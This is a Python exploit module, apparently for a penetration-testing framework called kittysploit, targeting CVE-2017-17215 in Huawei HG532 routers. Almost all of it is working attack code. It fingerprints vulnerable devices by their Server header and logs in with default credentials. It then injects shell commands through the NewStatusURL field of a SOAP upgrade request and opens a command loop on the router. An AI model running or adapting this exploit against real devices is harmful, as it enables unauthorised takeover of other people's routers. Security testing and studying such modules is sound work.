Huawei Router HG532 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Huawei Router HG532 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Huawei Router HG532 RCE',
        'description': 'Module exploits remote command execution in Huawei Router HG532 devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
        'author': ['@jnazario'],
        'cve': ['CVE-2017-17215'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215', 'http://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en', 'https://pastebin.com/4nzunPB5'],
        'tags': ['iot', 'router', 'rce', 'unauth', 'cve-2017-17215'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(37215, "Target HTTP port")
    username = OptString("dslf-config", "Username to log in")
    password = OptString("admin", "Password to log in")

    def execute(self, cmd):
        payload = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
        response = self.http_request(
            method='POST',
            path='/ctrlt/DeviceUpgrade_1',
            data=payload,
            auth=(self.username, self.password)
        )

        if not response:
            return ""
        return response.text or ""
    def check(self):
        response = self.http_request(
            method="GET",
            path="/"
        )

        if response is not None and 'server' in response.headers.keys() and "Linux uPnP/1.0 Huawei-ATP-IGD" in response.headers['server']:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}  # target is vulnerable

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}  # target is not vulnerable

    def check_execute(self) -> bool:
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()